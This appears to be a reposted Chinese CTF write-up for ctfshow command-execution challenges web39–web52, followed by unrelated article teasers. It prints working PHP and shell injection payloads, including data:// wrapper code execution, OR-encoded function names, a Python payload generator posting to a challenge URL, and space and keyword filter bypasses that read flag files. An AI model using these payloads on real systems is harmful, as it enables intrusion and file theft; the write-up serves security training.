ctfshow web入门 命令运行 web39---web52

news2024/11/29 2:31:14

ctfshow web入门 命令执行

昨天看了一下我的博客真的很恼火,不好看,还是用md来写吧

web39

在这里插入图片描述查看源代码
看到include了,还是包含(其实不是)

源代码意思是当c不含flag的时候把c当php文件运行

php伪协议绕过php文件执行
data://text/plain 绕过执行php,然后构造一个我们真正想要执行的php

构造payload:

?c=data://text/plain,<?= system("cat fl*");?>

在这里插别忘记加php入图片描述别忘记加http://

web40

第一种方法

查的可能使用的函数

localeconv():返回包含本地数字及货币格式信息的数组。其中数组中的第一个为点好“.pos():返回数组中当前元素的值
scandir():获取目录下的文件
array_reverse():将数组逆序排序
next():函数将内部指针指向下一元素,并输出
highlight_file():输出(#对文件进行语法高亮显示。)
show_source():输出(#对文件进行语法高亮显示。)
print_r():“print_r可以输出stirng、intfloatarrayobject,

在这里插入图片描述过滤了很多符号,但是括号好像是中文的
在这里插入图片描述日常查看文件
在这里插入图片描述查看不了那就用我们上面查到的资料
在这里插入图片描述查看文件,到手

**?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));**
第二种方法
**?c=eval(array_pop(next(get_defined_vars())));**
get_defined_vars():该函数返回一个包含当前上下文中所有已定义变量的数组。

next(get_defined_vars()):next()函数会将内部指针向前移动到数组中的下一个元素,并返回这个新指针指向的值。在这里,它获取并返回get_defined_vars()数组中的下一个元素,也就是下一个已定义变量。

array_pop(...):array_pop()函数用于弹出数组的最后一个单元,并返回这个单元的值。在此处,它会从上一步获取的变量中移除并返回最后一个元素(值)。

eval(...):这是一个危险的函数,它可以将字符串作为PHP代码执行

说白话就是读文件的,读出来之后传命令

然后传POST (c=passthru(“tac flag.php”)😉

web41

法一

在这里插入图片描述
过滤了很多符号,但是仔细观察会发现 | 灭有被过滤
但是这种构造方法我也不会哇,查一下吧
在url中**%数字**可以被当成是数字为十六进制所对应的ASCII表中的字符 例如:%73==s

("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")
构造的时候只需要进行构造字母和空格就行
system("ls");
为什么不写成:("%13|%60")("%19|%60")("%13|%60")("%14|%60")...,因为这样在php语言中是不合法的

所以查看文件
不知道为什么system被禁了,根本查看不了,后面可以补法一如果我做出来之后
做出来了
在这里插入图片描述

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%00"|"%60%60%60%20%60%60%60%2a")
相当于
system("cat fla*");

在这里插入图片描述

法二
import re
import requests
if __name__ == '__main__':
    url = "http://371ec084-e7b9-4456-88c8-f8cc9bab4530.challenge.ctf.show/"		#题目地址

    a = []
    ans1 = ""
    ans2 = ""
    for i in range(0, 256):
        c = chr(i)
        tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-', c, re.I)
        if tmp:
            continue
            # print(tmp.group(0))
        else:
            # 将不被过滤的字符加入a数组
            a.append(i)


    # eval("echo($c);");
    mya = "system"  # 函数名 这里修改!
    myb = "cat flag.php"  # 参数


    def myfun(k, my):
        global ans1
        global ans2
        for i in range(0, len(a)):
            for j in range(i, len(a)):
                if a[i] | a[j] == ord(my[k]):
                    ans1 += chr(a[i])
                    ans2 += chr(a[j])
                    return;

    for k in range(0, len(mya)):
        myfun(k, mya)
    data1 = "(\"" + ans1 + "\"|\"" + ans2 + "\")"
    ans1 = ""
    ans2 = ""
    for k in range(0, len(myb)):
        myfun(k, myb)
    data2 = "(\"" + ans1 + "\"|\"" + ans2 + "\")"

    # [0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-
    data = {"c": data1 + data2}
    print(data)
    r = requests.post(url=url, data=data)
    print(r.text)

web42

在这里插入图片描述由于 >/dev/null 2>&1
命令执行的结果不论正确与否都不会显示在页面上,而是被丢弃。
想让命令回显要进行分割

;     分号
|     只执行后面那条命令
||    只执行前面那条命令
&     两条命令都会执行
&&    两条命令都会执行
%0a	  换行符

构造最简单的?c=cat flag.php;

web43

在这里插入图片描述
cat和;都被 过滤
?c=ls%0a(查看)
在这里插入图片描述?c=tac flag.php%0a
在这里插入图片描述

web44

在这里插入图片描述flag过滤

?c=tac fl*%0a

在这里插入图片描述

web45

在这里插入图片描述貌似是还有空格也别绕过了,但是我会%09啊
而且Tab也可以用

?c=tac%09fl*%0a

在这里插入图片描述

web46

在这里插入图片描述数字也没了(最重要的通配符*也没了)
在这里插入图片描述

?c=tac%09fla\g.php%0a
?c=tac%09fla''g.php%0a

web47

在这里插入图片描述过滤了很多看文件的命令但是无所谓我的payload没有哈哈哈

?c=tac%09fla\g.php%0a

在这里插入图片描述

web48

在这里插入图片描述还是可以用上道题做的那个
在这里插入图片描述

web49

在这里插入图片描述还是没影响
在这里插入图片描述

web50

在这里插入图片描述还是没影响
试了一下不对,有影响因为我flag那里用来绕过的东西没了
过滤了%,所以我去查了一下怎么重新绕过空格
< 这个符号可以

?c=tac<fla''g.php||

在这里插入图片描述

web51

在这里插入图片描述tac绕过了用nl

?c=nl<fla''g.php||

在这里插入图片描述在这里插入图片描述

web52

在这里插入图片描述又想了新的一种空格替换${IFS}

?c=nl${IFS}fla''g.php||

构造ctfshow{flag_here},结果不对
那我们看一下目录
?c=ls${IFS}/|| (看根目录下面的文件)

在这里插入图片描述然后我们就直接看flag就行了
在这里插入图片描述看了个寂寞,但是回头一想我们刚才看的文件是在根目录下面所以我们应该改为
在这里插入图片描述?c=nl${IFS}/fla''g||

​ ​

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1576690.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

算法汇总啊

一些常用算法汇总 算法思想-----数据结构动态规划(DP)0.题目特点1.【重点】经典例题(简单一维dp&#xff09;1.斐波那契数列2.矩形覆盖3.跳台阶4.变态跳台阶 2.我的日常练习汇总(DP)1.蓝桥真题-----路径 算法思想-----数据结构 数据结构的存储方式 : 顺序存储(数组) , 链式存储…

ubuntu安装nginx以及开启文件服务器

1. 下载源码 下载页面&#xff1a;https://nginx.org/en/download.html 下载地址&#xff1a;https://nginx.org/download/nginx-1.24.0.tar.gz curl -O https://nginx.org/download/nginx-1.24.0.tar.gz2. 依赖配置 sudo apt install gcc make libpcre3-dev zlib1g-dev ope…

轨迹规划 | 图解最优控制LQR算法(附ROS C++/Python/Matlab仿真)

目录 0 专栏介绍1 最优控制理论2 线性二次型问题3 LQR的价值迭代推导4 基于差速模型的LQR控制5 仿真实现5.1 ROS C实现5.2 Python实现5.3 Matlab实现 0 专栏介绍 &#x1f525;附C/Python/Matlab全套代码&#x1f525;课程设计、毕业设计、创新竞赛必备&#xff01;详细介绍全…

护眼台灯什么品牌好?揭秘护眼台灯十大排名

台灯作为我们日常生活中使用率较高的照明工具&#xff0c;光源的品质也是很重要的&#xff01;如果长时间使用一款质量不好的台灯&#xff0c;可能会影响我们的眼睛健康&#xff0c;特别是孩子的眼睛&#xff0c;还没有发育完全&#xff0c;影响更大。 要知道市面上很多劣质台…

IT廉连看——SpringBoot——SpringBoot快速入门

IT廉连看——SpringBoot——SpringBoot快速入门 1、idea创建工程 &#xff08;1&#xff09;普通Maven工程创建 工程名spring-boot-test 2、添加依赖 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/PO…

理解 Golang 变量在内存分配中的规则

为什么有些变量在堆中分配、有些却在栈中分配&#xff1f; 我们先看来栈和堆的特点&#xff1a; 简单总结就是&#xff1a; 栈&#xff1a;函数局部变量&#xff0c;小数据 堆&#xff1a;大的局部变量&#xff0c;函数内部产生逃逸的变量&#xff0c;动态分配的数据&#x…

人工智能的分类有哪些

人工智能&#xff08;AI&#xff09;可以根据不同的分类标准进行分类。以下是一些常见的分类方法&#xff1a; 1. **按功能分类**&#xff1a; - 弱人工智能&#xff08;Narrow AI&#xff09;&#xff1a;也称为狭义人工智能&#xff0c;指专注于执行特定任务的AI系统&…

【蓝桥杯嵌入式】第十三届省赛(第二场)

目录 0 前言 1 展示 1.1 源码 1.2 演示视频 1.3 题目展示 2 CubeMX配置(第十三届省赛第二场真题) 2.1 设置下载线 2.2 HSE时钟设置 2.3 时钟树配置 2.4 生成代码设置 2.5 USART1 2.5.1 基本配置 2.5.2 NVIC 2.5.3 DMA 2.6 TIM 2.6.1 TIM2 2.6.2 TIM4 2.6.3 …

【Linux】 OpenSSH_9.3p1 升级到 OpenSSH_9.6p1(亲测无问题,建议收藏)

&#x1f468;‍&#x1f393;博主简介 &#x1f3c5;CSDN博客专家   &#x1f3c5;云计算领域优质创作者   &#x1f3c5;华为云开发者社区专家博主   &#x1f3c5;阿里云开发者社区专家博主 &#x1f48a;交流社区&#xff1a;运维交流社区 欢迎大家的加入&#xff01…

品牌门店稽查可调研内容

执行门店稽查的方式主要分为两类&#xff0c;明访和暗访&#xff0c;调研形式的不同&#xff0c;使得调查内容也有所差距&#xff0c;为了保证调研数据的真实性&#xff0c;目前稽查多为暗访&#xff0c;只有在需要对门店导购等的专业素养&#xff0c;或者产品库存盘点时做明访…

JAVA毕业设计134—基于Java+Springboot+Vue的社区医院管理系统(源代码+数据库+万字论文)

毕设所有选题&#xff1a; https://blog.csdn.net/2303_76227485/article/details/131104075 基于JavaSpringbootVue的社区医院管理系统(源代码数据库万字论文)134 一、系统介绍 本项目前后端分离&#xff0c;分为管理员、用户、医生、前台四种角色 1、用户&#xff1a; 注…

有大学老师正用ChatGPT批改论文,让同学也这么做!

4月7日&#xff0c;CNN消息&#xff0c;美国伊萨卡学院-战略传播学教授Diane Gayeski&#xff0c;正在使用ChatGPT批改学生的论文。 当Diane收到学生提交的论文时&#xff0c;会将部分内容输入到ChatGPT&#xff0c;然后让其进行评分并给出详细的修改建议。 Diane也会让班里的…

js控制字数

效果图 js方法 // 控制字数新闻**描述**字数 const delNews () >{let limit 80;if(allObj.newsList && allObj.newsList.length > 0){allObj.newsList.forEach(item>{if(item.contentDescribe.length>80){item.contentDescribeitem.contentDescribe.sub…

mac系统内存(RAM)清理方法,一键式清理工具推荐!

在现代计算机体系结构中&#xff0c;运行内存&#xff08;RAM&#xff09;扮演着关键角色&#xff0c;是保证系统流畅高效运作的核心组件之一。RAM作为一种瞬态存储媒介&#xff0c;专门用来存放当前活跃的程序及其相关的临时数据。不同于硬盘驱动器&#xff08;HDD&#xff09…

外包干了25天,技术倒退明显

先说情况&#xff0c;大专毕业&#xff0c;18年通过校招进入湖南某软件公司&#xff0c;干了接近6年的功能测试&#xff0c;今年年初&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个舒适的环境会让一个人堕落&#xff01; 而我已经在一个企业干了四年的功能…

蓝桥杯练习系统(算法训练)ALGO-957 P0703反置数

资源限制 内存限制&#xff1a;256.0MB C/C时间限制&#xff1a;1.0s Java时间限制&#xff1a;3.0s Python时间限制&#xff1a;5.0s 一个整数的反置数指的是把该整数的每一位数字的顺序颠倒过来所得到的另一个整数。如果一个整数的末尾是以0结尾&#xff0c;那么在它的…

rsync 远程同步----------安全高效的异地备份策略

目录 一、rsync介绍 rsync和cp的区别 rsync和scp的区别 二、rsync同步方式 rsync备份的方式 三、配置rsync源服务器 ①本地复制 ②下行同步 ③上行同步 四、常用Rsync命令 五、配置源的两种表达方法 六、部署rsync下行同步 ①环境准备 ②配置rsync源服务器-------…

瞎写01 CSDN点1个赞[Python][JavaScript]

前言 瞎写系列&#xff0c;记录我那些突如其来的灵感和尝试&#xff0c;整理一些成功或者失败的尝试&#xff0c;虽然还是失败居多一些~&#x1f95d;&#x1f95d; 重要提醒&#xff1a;自动化操作虽然方便&#xff0c;但也有其风险性。本文内容仅作为入门学习之用&#xff0…

使用VPN时,Java程序无法访问远程网络的解决办法

应用场景&#xff1a; 电脑连接VPN之后&#xff0c;Java程序无法连接远程服务&#xff0c;比如第三方接口、远程数据库连接、远程微服务等。我个人遇到的情况有连接海康威视SDK&#xff0c;influxdb以及一些微服务。 解决办法&#xff1a; 启动Java时加入参数&#xff1a;-D…

linux学习:shell脚本

目录 要求 注意 变量 变量的定义和赋值 变量的引用 变量的种类 设置环境变量 特殊符号 引号 竖杠&#xff08;管道&#xff09; 和大于小于号&#xff08;重定向&#xff09; 字符串处理 测试语句 脚本语法 判断 循环 函数 trap 前提 要把 Shell 命令放到一…